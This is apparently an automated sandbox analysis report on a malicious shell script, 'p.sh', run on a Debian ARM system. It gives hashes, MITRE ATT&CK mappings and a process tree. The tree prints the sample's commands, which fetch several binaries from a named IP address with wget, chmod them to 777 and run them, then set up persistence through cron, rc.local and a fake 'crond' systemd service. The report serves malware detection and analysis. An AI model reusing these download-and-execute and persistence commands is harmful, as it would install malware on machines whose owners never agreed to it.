5e090f93bdc415636457833c19595de8a05729224b0a510b18efa462f492fa22

Analysis

max time kernel
149s
max time network
130s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/08/2026, 07:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 831B
Sample260809-jglrbshd73
SHA256 5e090f93bdc415636457833c19595de8a05729224b0a510b18efa462f492fa22
MD5 7f1bb773126609b32605ba82bb5a4e51
SHA1 0733db9e93fdd702c60ebf1151331df4d4005817
SHA512 9d50edcefedec3131d09cb3940ddbef9d678138261263b8d50a4264260287846142b6a98102cd642050a96303fdaad40b1fee9b02972da480ba7d757772e0c99
TLSH
T15C016FCAD3609540405A995D72D751D0B420C3CB465A4B697F9C983EBB9CD18F027F85
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
837	chmod
784	chmod
809	chmod
816	chmod
833	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/k7M	785	p.sh

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/crond	k7M
File opened for modification	/etc/crontab	k7M

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 2 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	k7M

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/crond.service	k7M

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/75/cmdline	k7M
File opened for reading	/proc/807/cmdline	k7M
File opened for reading	/proc/813/cmdline	k7M
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/42/cmdline	k7M
File opened for reading	/proc/822/cmdline	k7M
File opened for reading	/proc/862/exe	k7M
File opened for reading	/proc/870/exe	k7M
File opened for reading	/proc/331/exe	k7M
File opened for reading	/proc/333/exe	k7M
File opened for reading	/proc/169/cmdline	k7M
File opened for reading	/proc/324/cmdline	k7M
File opened for reading	/proc/842/exe	k7M
File opened for reading	/proc/845/exe	k7M
File opened for reading	/proc/868/exe	k7M
File opened for reading	/proc/870/cmdline	k7M
File opened for reading	/proc/676/exe	k7M
File opened for reading	/proc/907/exe	k7M
File opened for reading	/proc/791/exe	k7M
File opened for reading	/proc/819/cmdline	k7M
File opened for reading	/proc/843/cmdline	k7M
File opened for reading	/proc/845/cmdline	k7M
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/11/cmdline	k7M
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/859/cmdline	k7M
File opened for reading	/proc/860/exe	k7M
File opened for reading	/proc/869/cmdline	k7M
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/1/cmdline	k7M
File opened for reading	/proc/13/cmdline	k7M
File opened for reading	/proc/597/cmdline	k7M
File opened for reading	/proc/872/exe	k7M
File opened for reading	/proc/596/cmdline	k7M
File opened for reading	/proc/828/cmdline	k7M
File opened for reading	/proc/844/cmdline	k7M
File opened for reading	/proc/850/cmdline	k7M
File opened for reading	/proc/880/cmdline	k7M
File opened for reading	/proc/911/cmdline	k7M
File opened for reading	/proc/9/cmdline	k7M
File opened for reading	/proc/17/cmdline	k7M
File opened for reading	/proc/133/cmdline	k7M
File opened for reading	/proc/294/cmdline	k7M
File opened for reading	/proc/882/cmdline	k7M
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/318/exe	k7M
File opened for reading	/proc/21/cmdline	k7M
File opened for reading	/proc/856/cmdline	k7M
File opened for reading	/proc/886/cmdline	k7M
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/824/exe	k7M
File opened for reading	/proc/837/exe	k7M
File opened for reading	/proc/841/exe	k7M
File opened for reading	/proc/854/exe	k7M
File opened for reading	/proc/862/cmdline	k7M
File opened for reading	/proc/324/exe	k7M
File opened for reading	/proc/43/cmdline	k7M
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/k7M	wget
File opened for modification	/tmp/p	p.sh

/tmp/p.sh
/tmp/p.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:655
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:656
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:662
- /bin/ls
  ls -l /proc/105/exe
  2⤵
  PID:666
- /bin/ls
  ls -l /proc/107/exe
  2⤵
  PID:671
- /bin/ls
  ls -l /proc/108/exe
  2⤵
  PID:675
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:679
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:682
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:684
- /bin/ls
  ls -l /proc/133/exe
  2⤵
  PID:687
- /bin/ls
  ls -l /proc/136/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/137/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:691
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:692
- /bin/ls
  ls -l /proc/157/exe
  2⤵
  PID:693
- /bin/ls
  ls -l /proc/159/exe
  2⤵
  PID:695
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:696
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:698
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  PID:700
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/202/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:704
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:705
- /bin/ls
  ls -l /proc/222/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:707
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:711
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/280/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/286/exe
  2⤵
  PID:714
- /bin/ls
  ls -l /proc/289/exe
  2⤵
  PID:715
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/294/exe
  2⤵
  PID:717
- /bin/ls
  ls -l /proc/296/exe
  2⤵
  PID:718
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/316/exe
  2⤵
  PID:720
- /bin/ls
  ls -l /proc/318/exe
  2⤵
  PID:721
- /bin/ls
  ls -l /proc/324/exe
  2⤵
  - Reads runtime system information
  PID:722
- /bin/ls
  ls -l /proc/331/exe
  2⤵
  PID:723
- /bin/ls
  ls -l /proc/333/exe
  2⤵
  PID:724
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:725
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:726
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  PID:727
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:728
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:729
- /bin/ls
  ls -l /proc/577/exe
  2⤵
  PID:730
- /bin/ls
  ls -l /proc/591/exe
  2⤵
  PID:731
- /bin/ls
  ls -l /proc/594/exe
  2⤵
  PID:732
- /bin/ls
  ls -l /proc/596/exe
  2⤵
  PID:735
- /bin/ls
  ls -l /proc/597/exe
  2⤵
  - Reads runtime system information
  PID:736
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:739
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  PID:740
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  PID:743
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  - Reads runtime system information
  PID:745
- /bin/ls
  ls -l /proc/649/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/651/exe
  2⤵
  - Reads runtime system information
  PID:749
- /bin/ls
  ls -l /proc/652/exe
  2⤵
  - Reads runtime system information
  PID:751
- /bin/ls
  ls -l /proc/653/exe
  2⤵
  PID:753
- /bin/ls
  ls -l /proc/654/exe
  2⤵
  PID:755
- /bin/ls
  ls -l /proc/655/exe
  2⤵
  PID:757
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:759
- /bin/ls
  ls -l /proc/75/exe
  2⤵
  PID:762
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:764
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:766
- /bin/ls
  ls -l /proc/96/exe
  2⤵
  PID:768
- /bin/rm
  rm -rf k7M
  2⤵
  PID:770
- /usr/bin/wget
  wget http://129.121.110.105/k7M
  2⤵
  - Writes file to tmp directory
  PID:772
- /bin/chmod
  chmod 777 k7M
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/k7M
  ./k7M pdvr
  2⤵
  - Creates/modifies Cron job
  - Modifies rc script
  - Modifies systemd
  - Reads runtime system information
  PID:785
- - /usr/local/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:806
- - /usr/local/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:807
- - /usr/local/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:807
- - /usr/local/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:806
- - /usr/sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:807
- - /usr/sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:806
- - /usr/bin/systemctl
    systemctl daemon-reload
    3⤵
    PID:806
- - /usr/bin/systemctl
    systemctl enable crond.service
    3⤵
    PID:807
- - /sbin/systemctl
    systemctl enable crond.service
    3⤵
    PID:807
- - /sbin/systemctl
    systemctl daemon-reload
    3⤵
    PID:806
- - /bin/systemctl
    systemctl enable crond.service
    3⤵
    - Enumerates kernel/hardware configuration
    PID:807
- - /bin/systemctl
    systemctl daemon-reload
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:806
- /bin/rm
  rm -rf NtB
  2⤵
  PID:793
- /usr/bin/wget
  wget http://129.121.110.105/NtB
  2⤵
  PID:804
- /bin/chmod
  chmod 777 NtB
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/NtB
  ./NtB pdvr
  2⤵
  PID:810
- /bin/rm
  rm -rf VHo
  2⤵
  PID:811
- /usr/bin/wget
  wget http://129.121.110.105/VHo
  2⤵
  PID:813
- /bin/chmod
  chmod 777 VHo
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/VHo
  ./VHo pdvr
  2⤵
  PID:817
- /bin/rm
  rm -rf ytEr
  2⤵
  PID:818
- /usr/bin/wget
  wget http://129.121.110.105/ytEr
  2⤵
  PID:820
- /bin/chmod
  chmod 777 ytEr
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/ytEr
  ./ytEr pdvr
  2⤵
  PID:834
- /bin/rm
  rm -rf nf1
  2⤵
  PID:835
- /usr/bin/wget
  wget http://129.121.110.105/nf1
  2⤵
  PID:836
- /bin/chmod
  chmod 777 nf1
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/nf1
  ./nf1 pdvr
  2⤵
  PID:838
- /bin/rm
  rm -rf p
  2⤵
  PID:839

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Create or Modify System Process

T1543

Systemd Service

T1543.002

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

crond

Path /etc/cron.d/crond
Size 30B
SHA256 44fa605d9ccc9ac072cf808cb6f28577f95d680b451d79d8529e8ba39a9e4112
MD5 37423b9e58d26c0b3e7bcf119da17a22
SHA1 e0416aa6a2bbadcb17c00ad0deb7d6951b48c53f
SHA512 3fb29e6c1a3659a42205a72745114067a1505ea65fd9779e98d47837825a095fac90c641e54fd0aaffbc8c8294ba817d86e0953ea73d6dfb9c7a0e14ff7146a5
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 10B
SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
MD5 3e2b31c72181b87149ff995e7202c0e3
SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
MD5 SHA1 SHA512

Submit Download

rc.local

Path /etc/rc.local
Size 34B
SHA256 64fe778052f70aad28138ced5ecede27c989dfa517d16f510fb5b9ebe5bf5f78
MD5 8a20fb9c23b50c895280ae38c195eada
SHA1 11c2fc181474634fba5db01339cce721d2f2c099
SHA512 be922a457745beff80d80066948d0ac354d60f8bf894d3378f3c818f121cce118b1174abb9bd2b07feeabd1401e0fdd68d5f842c8e93eb2bed28107612f64ca9
MD5 SHA1 SHA512

Submit Download

crond.service

Path /etc/systemd/system/crond.service
Size 193B
SHA256 d36adbf01b9414381f25c49fdaa10676bcdeb111e539eca7f5ed98f1b1732d6f
MD5 151cb20ea387b339b31cb36be62d7d43
SHA1 7aa04ed9c73982e4f9a4d9558e92f4a29a44ac2b
SHA512 7d4b3e7082e544bc475ba9fd464a8ff4d499182e478b17dfd689e806a37195df08d02ac8ab10aedaa65c22292fb37ff0bc937fa17698b089bf9d2f3ab0174aa1
TLSH
T1C0C02223956114A1894F39A2AEE32B448CA102404ACF92B00BC018292DE20F72121DAE
MD5 SHA1 SHA512 TLSH

Submit Download

k7M

Path /tmp/k7M
Size 73KB
SHA256 ae7aed6391a4192862f68352853403a3e2cc49d0ab8924b53bf07e50f41bdd58
MD5 cac7009c6f58836456ab18524f8a0e88
SHA1 1be0999269d2ebca3027ad281f9e653793cbff6a
SHA512 9a6339b31f8b65975aafaf594ca0da90bcdd03904e6b85705f6b5f5f4799583e76d224fa38a25199e5d475f67513cf3dedbb2d69e4a6594ef73f94021399a9fa
SSDEEP 1536:tg7TblhehmgYUkOTWNiyfKCATylrkYvQnIaZc79GFiE207Jp:tg7TZng06WNNfKCATy1rQIcg9GFiE28
TLSH
T164732A59B9919F0BC2C21637FF1E8349331723A8E3DB7103DA256F6533DB62A0E2A455
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/p
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads